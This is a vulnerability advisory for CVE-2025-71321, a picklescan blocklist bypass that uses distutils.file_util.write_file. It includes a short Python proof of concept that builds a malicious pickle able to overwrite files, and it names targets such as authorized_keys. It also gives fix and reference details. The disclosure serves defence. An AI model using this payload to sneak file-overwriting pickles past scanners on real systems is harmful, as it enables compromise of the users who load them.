CVE-2025-71321
Picklescan vulnerable to Arbitrary File Writing
Impact
### Summary Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files. ### Details This is another vulnerability which impacts the downstream user. By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE. ### PoC ```python import pickle import distutils.file_util class FileWriteBypass: def __reduce__(self): target_file = "pwned_config.env" content = ["print('I have overwritten your config')"] return (distutils.file_util.write_file, (target_file, content)) payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload) print("bypass_filewrite.pkl") ``` <img width="853" height="197" alt="image" src="https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65" /> To fix this just add disutil to the blacklist
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| pip | picklescan | < 0.0.33 | 0.0.33 |
Affected products
| Product | Affected versions |
|---|---|
| Picklescan | before 0.0.33 |
Versions were read from the advisory text. No structured product data has been published for this record yet.
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m273-6v24-x4m4
- https://www.vulncheck.com/advisories/picklescan-arbitrary-file-writing-via-distutils-module-bypass
- https://github.com/advisories/GHSA-m273-6v24-x4m4
- https://github.com/mmaitre314/picklescan/pull/53
- https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab
- https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33
- https://nvd.nist.gov/vuln/detail/CVE-2025-71321